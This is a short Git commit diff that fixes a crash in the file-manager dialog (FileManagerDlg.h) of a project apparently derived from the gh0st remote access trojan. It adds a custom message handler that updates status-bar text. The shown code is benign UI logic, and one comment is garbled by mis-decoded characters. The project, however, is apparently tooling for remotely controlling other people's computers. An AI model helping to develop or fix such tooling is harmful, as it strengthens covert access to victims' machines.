fix: 文件管理对话框SetPaneText崩溃,传输故障
This commit is contained in:
@@ -6,6 +6,8 @@
|
||||
#endif // _MSC_VER > 1000
|
||||
#include "gh0st2Remote.h"
|
||||
|
||||
#define WM_MY_MESSAGE (WM_USER+300)
|
||||
|
||||
// FileManagerDlg.h : header file
|
||||
//
|
||||
|
||||
@@ -15,6 +17,16 @@ typedef CList<CString, CString&> strList;
|
||||
|
||||
class CFileManagerDlg : public CDialog
|
||||
{
|
||||
protected:
|
||||
// <20><><EFBFBD><EFBFBD>״̬<D7B4><CCAC><EFBFBD><EFBFBD>Ϣ
|
||||
afx_msg LRESULT OnMyMessage(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
char *buff = (char*)lParam;
|
||||
m_wndStatusBar.SetPaneText(0, buff);
|
||||
delete[]buff;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
// Construction
|
||||
public:
|
||||
bool m_bIsStop;
|
||||
|
||||
Reference in New Issue
Block a user